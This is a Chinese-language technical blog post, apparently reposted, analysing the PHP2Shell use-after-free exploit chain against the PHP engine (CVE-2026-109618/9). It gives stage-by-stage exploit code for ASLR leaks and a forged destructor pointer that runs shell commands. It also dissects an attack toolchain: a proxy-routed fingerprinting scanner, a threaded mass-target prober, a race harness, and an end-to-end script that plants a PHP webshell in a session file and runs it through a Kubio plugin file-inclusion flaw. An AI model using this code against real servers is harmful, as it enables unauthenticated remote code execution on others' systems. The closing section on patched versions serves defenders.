PHP2Shell 漏洞(CVE-2026-109618/9)技术分析
原创
ZM
ZM
暗镜
2026年10月27日 08:00
北京
去阅读
2026年10月21日,PHP官方发布修复版本。不到48小时,公开利用代码、AI生成的PoC与自动化攻击脚本已在GitHub泛滥。这个被命名为 PHP2Shell 的漏洞组合(CVE-2026-109618 与 CVE-2026-109619),CVSS评分9.2,影响互联网上约70%的PHP部署。核心问题在于:它攻击的不是应用代码,而是 PHP引擎本身——在 index.php 或 WordPress 插件加载之前,内存攻击就已经发生。
下文为已发布的的POC相关分析,代码不得用于非法用途
一、根因:OOM Bailout 破坏清理顺序,留下悬空指针
两个CVE本质都是 use-after-free(UAF),位于PHP引擎处理 multipart/form-data 的内部逻辑中,触发点是默认开启的 session.upload_progress 特性。
当攻击者发送包含 PHP_SESSION_UPLOAD_PROGRESS 字段的 multipart 请求时,PHP开始解析上传并为进度跟踪分配内存。此时若攻击者故意让 Content-Length 或请求体超过 memory_limit(默认8MB,利用代码中明确以此为阈值),PHP在请求早期阶段就触发 OOM条件。
关键缺陷:PHP在OOM时执行一次\"bailout\"(强制退出当前请求),但该 bailout 处理器 没有正确清理 session.upload_progress 状态。它留下一个指针,指向已经释放或部分腐化的内存区域。这个悬空指针(dangling pointer)是整个利用链的种子。
更底层的问题是双指针清理失序。PHP在跟踪 multipart 上传时缓存两个内部指针。OOM bailout 打乱了正常清理序列,导致承载上传进度信息的哈希表没有按安全顺序销毁。悬空指针仍留在请求的session状态中,当PHP下一次访问它——通常在请求 teardown 阶段——就会解引用已释放内存。这就是UAF的核心机制。
值得强调的是:整个腐化发生在 rfc1867 multipart 解析阶段,早于任何应用代码(框架路由、认证逻辑、插件钩子)执行。因此应用层输入校验和WAF规则根本看不到恶意请求——攻击面是引擎,不是应用。
二、利用链总览:两次信息泄露击败ASLR
现代系统普遍启用 ASLR,攻击者无法硬编码内存地址。PHP2Shell 的利用链设计了两个信息泄露阶段,先取得 Zend MM 堆基址和 libphp.so 基址,再计算出 zif_system 的绝对地址,最后通过伪造析构器完成调用:
- Stage 0:重置堆,保证干净内存布局
- Stage 1:越界读取泄露 Zend MM chunk base
- Stage 2:越界读取泄露
libphp.so基址 - Stage 3:伪造 HashTable 与
pDestructor,调用zif_system执行命令
三、Stage 0:用全新Worker重置堆布局
利用的可靠性依赖于每次尝试都有干净的内存布局。脚本利用 max_input_vars 限制(目标配置设为1000):发送一个包含 1001+ 字段 的 multipart 请求,请求在超过限制时被中止,但在此之前当前 worker 进程已被终止。Apache 的 prefork 模块随后 fork 出一个全新的、干净的 worker。
# 伪代码:构造超过 max_input_vars 的请求以重置 workerdefreset_worker(host, port): boundary =\"----reset0\" body =b\"\"for i inrange(1001):# max_input_vars = 1000 body +=(f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"p{i}\"\\r\
\\r\
'f\"x\\r\
\").encode() body +=f\"--{boundary}--\\r\
\".encode() headers ={\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Content-Length\":str(len(body)),}# 请求被中止,但当前 worker 已被终止,prefork fork 出新 worker raw_post(host, port,\"/\", body, headers)
这一步的意义在于:前一阶段造成的内存腐化不会泄漏到下一阶段,每次利用尝试都从一个确定的堆状态开始。这是整个链条\"可靠\"而非\"碰运气\"的前提。
四、Stage 1:通过 Set-Cookie 泄露 Zend MM Chunk Base
目标:获取 Zend Memory Manager(Zend MM)堆的基地址——PHP内部数据结构都分配在这里。
手法:先触发OOM条件释放目标内存,再发送第二个请求,用精心构造的payload 回收(reclaim) 这块已释放内存。由于悬空指针仍然有效,PHP在构造响应时会读取超出预期缓冲区的内容,并把原始内存数据复制进 Set-Cookie 的 PHPSESSID 值中。这是一次典型的 越界读取(out-of-bounds read)。
# 伪代码:OOM 触发 + 越界读取泄露堆基址defleak_heap_base(host, port): boundary =\"----leak1\"# 请求1:超大 body 触发 OOM bailout,留下悬空指针 big = build_multipart(boundary, progress=\"k1\", file_size=9*1024*1024)# > memory_limit 8MB raw_post(host, port,\"/\", big,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=leaksess1\",})# 请求2:回收已释放内存,利用悬空指针把原始内存写进 Set-Cookie reclaim = build_multipart(boundary, progress=\"k2\", file_size=1024, pad=b\"\\x00\"*256) status, headers = raw_post(host, port,\"/\", reclaim,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=leaksess1\",})# 解析 PHPSESSID cookie 中的原始内存,找 2MB 对齐的堆地址 cookie = extract_cookie(headers,\"PHPSESSID\") candidates ={}for i inrange(0,len(cookie)-8,8): val =int.from_bytes(cookie[i:i+8],\"little\")if0x7F0000000000<= val <=0x800000000000:# 典型堆地址范围 aligned = val &~0x1FFFFF# 2MB 对齐 candidates[aligned]= candidates.get(aligned,0)+1 chunk_base =max(candidates, key=candidates.get)if candidates[chunk_base]>=8:# 计数≥8 视为有效泄露return chunk_basereturnNone
解析与验证:利用代码解析cookie,寻找落在典型堆地址范围(0x7F0000000000 至 0x800000000000)内的8字节值;对每个 2MB对齐 的值统计出现次数,出现最频繁者即为 chunk base。通过检查该计数 至少为8 来确认泄露有效,过滤掉噪声。
这一步拿到的是堆布局的锚点,为后续伪造结构提供落点。
五、Stage 2:从析构器指针恢复 libphp 基址
目标:获取 libphp.so 的基地址。最终阶段需要 zif_system(PHP内部执行shell命令的函数)的绝对地址,而它位于这个共享库中。
手法:复用同一个悬空指针再触发一次越界读取,但这次刻意构造请求,使泄露出的内存中包含指向 ZVAL_PTR_DTOR(PHP销毁变量时使用的内部函数)的指针。
# 伪代码:泄露 libphp 基址(利用 ZVAL_PTR_DTOR 页偏移作为指纹)ZVAL_PTR_DTOR_OFFSET =0x2A3F40# 该版本 libphp.so 中的已知偏移(示例)defleak_libphp_base(host, port, chunk_base): boundary =\"----leak2\"# 构造回收 payload,使泄露内存中出现 ZVAL_PTR_DTOR 指针 reclaim = build_reclaim_with_dtor(boundary, chunk_base) status, headers = raw_post(host, port,\"/\", reclaim,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=leaksess2\",}) cookie = extract_cookie(headers,\"PHPSESSID\")for i inrange(0,len(cookie)-8,8): val =int.from_bytes(cookie[i:i+8],\"little\")# 低12位 = 页偏移,不受 ASLR 影响,可作为指纹if(val &0xFFF)==(ZVAL_PTR_DTOR_OFFSET &0xFFF): libphp_base = val - ZVAL_PTR_DTOR_OFFSETreturn libphp_basereturnNone
验证与计算:检查泄露指针的 低12位(页偏移) 是否与 ZVAL_PTR_DTOR 在 libphp.so 中的已知偏移匹配——页偏移不受ASLR随机化影响,因此可作为指纹。验证通过后,用泄露指针减去已知偏移,即得 libphp.so 基址。
至此,攻击者可以精确计算出两个关键地址:
htdata = chunk_base + HTDATA_OFFSET # 伪造 HashTable 的活字符串地址zif_system = libphp_base + ZIF_SYSTEM_OFFSET # 执行命令的函数地址
两个泄露阶段分别解决\"堆在哪\"和\"库在哪\",缺一不可。
六、Stage 3:伪造 HashTable 与 pDestructor,劫持控制流
目标:覆写析构器指针,使PHP在销毁变量时调用 zif_system 而非正常析构器。
原理:PHP的 HashTable 结构体包含一个成员 pDestructor——一个函数指针,在表销毁时被调用。攻击者构造一个伪造的 HashTable,其中放置伪造的 zend_execute_data 与伪造的 zend_string(内容为命令),并将 pDestructor 指向 zif_system。
# 伪代码:构造伪造 HashTable 并覆写 pDestructordefbuild_fake_hashtable(htdata, zif_system, cmd=b\"id>/out/p1\"):# 伪造 zend_string:含命令,长度受限(最大14字节单命令) fake_zend_string =( pack(\"<Q\",0x0000000000000000)+# gc / refcount 占位 pack(\"<Q\",len(cmd))+# 字符串长度 pack(\"<Q\", hash_of(cmd))+# 哈希 cmd.ljust(167,b\"\\x00\")# 167 字节活字符串承载命令)# 伪造 zend_execute_data:把 fake_zend_string 作为参数关联 fake_execute_data =( pack(\"<Q\",0)*4+ pack(\"<Q\", htdata)+# 指向 fake_zend_string pack(\"<Q\",0)*8)# 伪造 HashTable:关键是 pDestructor = zif_system fake_hashtable =( pack(\"<Q\",0)*3+# gc / nTableMask 等占位 pack(\"<Q\", zif_system)+# pDestructor ← 劫持点 pack(\"<Q\", htdata)+# arData 指向伪造数据 fake_execute_data + fake_zend_string)return fake_hashtabledeftrigger_destructor(host, port, fake_hashtable): boundary =\"----stage3\"# 通过悬空指针把伪造结构写入已释放内存 write_req = build_multipart_with_fake(boundary, fake_hashtable) raw_post(host, port,\"/\", write_req,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=exploitsess\",})# 触发 teardown:PHP 销毁该 HashTable,调用 pDestructor(zif_system) raw_get(host, port,\"/\",{\"Cookie\":\"PHPSESSID=exploitsess\"})
写入与触发:伪造结构通过同一个悬空指针写入内存。随后触发该伪造 HashTable 的销毁,PHP调用 pDestructor——此时它已指向 zif_system。传递给 zif_system 的参数正是伪造 zend_string 中的命令。命令以Web服务器用户权限(通常 www-data)执行。这就是\"PHP2Shell\"名字的由来:从PHP引擎内部直接走到shell。
14字节限制与带外验证:命令嵌入在一个 167字节的活 zend_string 中,因此单条命令最大长度仅 14字节。更长的命令通过短shell触发器链式执行,例如 sh</out/c(8字节),完整命令预先写入文件。执行后,利用代码通过读取文件(如 out/p1 或 /tmp/p1)或访问Web服务器上的特定路径来验证成功——这是带外(out-of-band)确认,避免依赖命令回显。
七、公开工具链代码剖析
公开工具链完整覆盖了\"指纹识别 → 触发面确认 → 竞态窗口武器化 → 端到端落地\"的实战路径,以下逐段拆解关键代码。
1 、指纹识别:php2shell_fp.py
脚本通过代理池分发请求,先做基础指纹,再探测 session.upload_progress 是否开启。
deffingerprint(host, proxy): result ={\"host\": host}for scheme in(\"https\",\"http\"): st, hdr, body = fetch(f\"{scheme}://{host}/\", proxy)if st ==0:continue result[\"status\"]= st server = hdr.get(\"Server\",\"\") xpb = hdr.get(\"X-Powered-By\",\"\")# 从头部提取 PHP 版本 m = re.search(r\"PHP/([\\d.]+)\", xpb +\" \"+ server) result[\"php\"]= m.group(1)if m elseNone# SAPI 启发式判断if re.search(r\"PHP/\", xpb)and re.search(r\"Apache\", server, re.I): result[\"sapi_guess\"]=\"mod_php?\"# X-Powered-By + Apache ≈ mod_phpelif re.search(r\"nginx|openresty|litespeed|cloudflare|caddy\", server, re.I): result[\"sapi_guess\"]=\"fpm/proxy?\"elif re.search(r\"Apache\", server, re.I)andnot xpb: result[\"sapi_guess\"]=\"apache-no-xpb\"breakreturn result
probe_upload_progress() 是核心探测:构造 multipart POST,同时携带 PHPSESSID(随机 fprint+20位十六进制,实现会话固定)、PHP_SESSION_UPLOAD_PROGRESS(值 x,激活上传跟踪)、以及一个内容仅 Z 的文件字段。
defprobe_upload_progress(host, proxy, scheme=\"https\"): boundary =\"FPRINT7x\" sid =\"fprint\"+\"\".join(random.choices(\"0123456789abcdef\", k=20)) body =(f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
'f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
x\\r\
'f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"f\"; filename=\"t.txt\"\\r\
\\r\
Z\\r\
'f\"--{boundary}--\\r\
\").encode() req = urllib.request.Request(f\"{scheme}://{host}/index.php\", data=body, headers={\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":f\"PHPSESSID={sid}\",}, method=\"POST\",) r = op.open(req, timeout=12) setc =dict(r.headers).get(\"Set-Cookie\",\"\")return{\"up_status\": r.status,\"up_set_cookie\": setc[:150],\"up_sid_echo\": sid in setc,# 关键判定:session id 是否回显}
判定信号是响应中的 Set-Cookie 是否回显该 sid(up_sid_echo)——若回显,说明 rfc1867 解析器在上传中途初始化了 session,即 session.upload_progress 开启,漏洞面存在。脚本还全局禁用证书校验(check_hostname=False、CERT_NONE),以便在代理链下容忍自签名证书。
2、 触发面确认:probe_rfc1867.py 的原始套接字探测
该脚本用原始 socket 而非标准 HTTP 库,以确保对字节和头部的完全控制。build_multipart() 构造的请求体包含硬编码 SID(ENIfix8f3d1c2b9a,用于 session fixation)、PHP_SESSION_UPLOAD_PROGRESS(值 ENIkey1234),以及 filename=\"x.bin\" 的文件字段,文件体由 BIGSIZE = 2 * 1024 * 1024 控制为 2MB——足以强制服务器在解析中持续更新上传进度,真正走到 session.upload_progress 处理路径。
BIGSIZE =2*1024*1024SID ='ENIfix8f3d1c2b9a'defbuild_multipart(boundary): body ='--%s\\r\
'% boundary body +='Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
' body += SID +'\\r\
' body +='--%s\\r\
'% boundary body +='Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
' body +='ENIkey1234\\r\
' body +='--%s\\r\
'% boundary body +='Content-Disposition: form-data; name=\"file\"; filename=\"x.bin\"\\r\
' body +='Content-Type: application/octet-stream\\r\
\\r\
' body +='A'* BIGSIZE +'\\r\
'# 2MB 文件体,强制触发 progress update body +='--%s--\\r\
'% boundaryreturn bodydefraw_request(host, port, use_ssl, method, path, body=None, hdrs=None, timeout=15): s = socket.socket(); s.settimeout(timeout)if use_ssl: ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ctx.check_hostname =False; ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(s, server_hostname=host) s.connect((host, port)) req ='%s %s HTTP/1.1\\r\
Host: %s\\r\
User-Agent: Mozilla/5.0\\r\
'%(method, path, host)if hdrs:for k, v in hdrs.items(): req +='%s: %s\\r\
'%(k, v)if body isnotNone: req +='Content-Length: %d\\r\
'%len(body) req +='Connection: close\\r\
\\r\
' s.sendall(req.encode('latin-1'))if body isnotNone: s.sendall(body.encode('latin-1')) resp =b''whileTrue:try: c = s.recv(4096)ifnot c:break resp += cexcept(socket.timeout, socket.error):break s.close() head = resp.split(b'\\r\
\\r\
')[0] lines = head.split(b'\\r\
') code =int(lines[0].split(b' ')[1])if lines[0].startswith(b'HTTP')else0 setcookie =[ln.decode('latin-1')for ln in lines if ln.lower().startswith(b'set-cookie')]return code, setcookie
probe_one() 先发基线 GET /,再发 multipart POST,比较两次的 Set-Cookie:若 POST 响应带有 session cookie,判定 UP-ENABLED;连接失败为 CONN-FAIL;无 cookie 为 up-off/no-trigger。main() 用 Queue + 多线程 worker 并发处理大目标清单,把结果追加写入日志,便于立即过滤死主机与已打补丁的服务器。
3、竞态窗口武器化:race.py
race.py 是本地测试 harness,专门武器化 rfc1867 解析中的竞态窗口。build_body() 由四段拼接:PHP_SESSION_UPLOAD_PROGRESS 头字段、--parts 指定数量的 512字节小表单字段、文件字段头、以及 total_kb * 1024 的 A 填充体。大量小字段的作用是 拉长解析时间,同时整体请求体保持在 post_max_size(默认8MB)以下。
defbuild_body(key, total_kb, parts): head =(f\"--{BOUNDARY}\\r\
\"f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
'f\"{key}\\r\
\").encode() filler =b\"\".join((f\"--{BOUNDARY}\\r\
\"f'Content-Disposition: form-data; name=\"p{i}\"\\r\
\\r\
').encode()+b\"B\"*512+b\"\\r\
\"for i inrange(parts)# 数百个小字段,拉长 rfc1867 解析窗口) file_head =(f\"--{BOUNDARY}\\r\
\"f'Content-Disposition: form-data; name=\"f\"; filename=\"a.bin\"\\r\
'f\"Content-Type: application/octet-stream\\r\
\\r\
\").encode() tail =f\"\\r\
--{BOUNDARY}--\\r\
\".encode()return head + filler + file_head +b\"A\"*(total_kb *1024)+ taildefslow_upload(host, port, sess_id, key, total_kb, parts, abort_at, log, path): body = build_body(key, total_kb, parts) c = http.client.HTTPConnection(host, port, timeout=30)if abort_at:# abort 模式:按比例截断 body 后立即关闭 limit =int(len(body)* abort_at) c.request(\"POST\", path, body=body[:limit], headers={\"Cookie\":f\"PHPSESSID={sess_id}\",\"Content-Type\":f\"multipart/form-data; boundary={BOUNDARY}\",\"Content-Length\":str(len(body))}) c.close()return\"aborted\" c.request(\"POST\", path, body=body, headers={\"Cookie\":f\"PHPSESSID={sess_id}\",\"Content-Type\":f\"multipart/form-data; boundary={BOUNDARY}\"}) r = c.getresponse(); r.read(); c.close()return\"done\"defracer(host, port, sess_id, action, interval, stop, log):for _ inrange(50000):# 硬上限:不超过本轮if stop.is_set():break c = http.client.HTTPConnection(host, port, timeout=5) c.request(\"GET\",f\"/index.php?a={action}\",# destroy / regenerate / gc headers={\"Cookie\":f\"PHPSESSID={sess_id}\"}) r = c.getresponse(); r.read(); c.close() time.sleep(interval)# 默认 1ms
run_round() 的组合逻辑是:先启动上传线程(可选 double 模式再并发一个同session的第二个上传),同时按 modes 启动对应的 racer 线程,只等上传线程结束便 stop.set() 让 racer 停止。目标是强制\"上传解析(读)\"与\"session销毁(删)\"精确重叠,制造悬空指针——这正是 Stage 1 越界读取的前置条件。每轮之间用 probe() 检查目标是否已崩溃(这类微秒级时序窗口常导致worker崩溃),失败即停止并返回非零退出码,便于迭代调整并发参数。
4、端到端落地:rce2.py 的 session 投毒 + Kubio LFI
rce2.py 展示了完整落地的组合利用,分两个阶段。第一阶段是 session 文件投毒:把 PHP 代码嵌入 multipart 的 filename 字段,同时携带 PHPSESSID 与 PHP_SESSION_UPLOAD_PROGRESS。
sid ='ps'+ uuid.uuid4().hex[:24]bd ='----ps'+ uuid.uuid4().hexcode =\"<?php echo 'PSMARK'; system($_GET['c']); echo 'PSEND';?>\"head =(f'--{bd}\\r\
Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
'f'--{bd}\\r\
Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
zz\\r\
'f'--{bd}\\r\
Content-Disposition: form-data; name=\"f\"; filename=\"{code}\"\\r\
'f'Content-Type: application/octet-stream\\r\
\\r\
').encode('latin-1')size =210241024tail =f'\\r\
--{bd}--\\r\
'.encode()req =(f'POST / HTTP/1.1\\r\
Host: {host}\\r\
'f'Content-Type: multipart/form-data; boundary={bd}\\r\
'f'Content-Length: {len(head)+size+len(tail)}\\r\
'f'Cookie: PHPSESSID={sid}\\r\
Connection: close\\r\
\\r\
').encode()s = socket.create_connection((host, port), timeout=10)if tls: s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)s.sendall(req + head +b'A'*(size //4))# 只发送约四分之一 bodytime.sleep(8)# 暂停,迫使 PHP 把 filename 写入 session 文件
关键在于 Content-Length 声明为完整长度,但实际只发送约四分之一 body 后暂停——迫使 PHP 在等待剩余数据期间把攻击者控制的 filename(即 PHP 代码)写入本地 session 文件(如 /var/lib/php/sessions/sess<sid>)。
第二阶段是 LFI 包含执行:构造路径遍历指向该 session 文件,通过 Kubio 插件参数包含执行。
p ='../'*6+'var/lib/php/sessions/sess'+ sidu =(f'{sch}://{host}:{port}/?kubio-site-edit-iframe-preview=1'f'&kubio-site-edit-iframe-classic-template='+ requests.utils.quote(p, safe='')+'&c='+ requests.utils.quote(cmd))y = requests.get(u, headers={'User-Agent': UA}, timeout=15, verify=False, allow_redirects=False)if'PSMARK'in y.text:print('RCE OK')print(y.text.split('PSMARK',1)[1].split('PSEND',1)[0].strip()[:500])
响应中若出现 PSMARK,即确认 RCE,脚本截取 PSMARK 与 PSEND 之间的输出作为命令结果。这条链把\"写 session\"与\"包含 session 文件\"两段拼成端到端利用,与 PHP2Shell 的引擎级 UAF 形成互补的攻击面覆盖。
八、为什么传统防御在此失效
- WAF看不到攻击:腐化发生在 multipart 解析阶段,早于应用代码执行。基于应用层规则的WAF没有机会检查请求。
- 框架输入校验无效:Laravel、WordPress 等框架的校验逻辑在引擎完成请求解析之后才运行,此时内存腐化已经发生。
- 无需认证:漏洞在请求解析阶段触发,攻击者无需任何有效凭据即可达成RCE。
- 唯一有效修复是二进制级:升级PHP并重启Web服务器。受影响SAPI包括 Apache with mod\_php、PHP-FPM、php-cgi、FrankenPHP、LiteSpeed;受影响版本为 PHP 8.4 < 8.4.27、8.3 < 8.3.36、8.2 < 8.2.35、8.5 < 8.5.12。
PHP2Shell 的技术本质是一次 引擎级UAF的工程化利用:OOM bailout 的清理缺陷制造悬空指针(Stage 0 重置堆保证可靠性),两次越界读取分别泄露堆基址(Stage 1)与库基址(Stage 2)以击败ASLR,最终伪造 HashTable 的 pDestructor(Stage 3)把控制流劫持到 zif_system。由于腐化发生在应用代码之前,WAF与框架校验集体失效,二进制级补丁成为唯一有效缓解。公开工具链则完整覆盖了\"指纹识别(php2shell_fp.py)→ 触发面确认(probe_rfc1867.py)→ 竞态窗口武器化(race.py)→ 端到端落地(rce2.py)
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论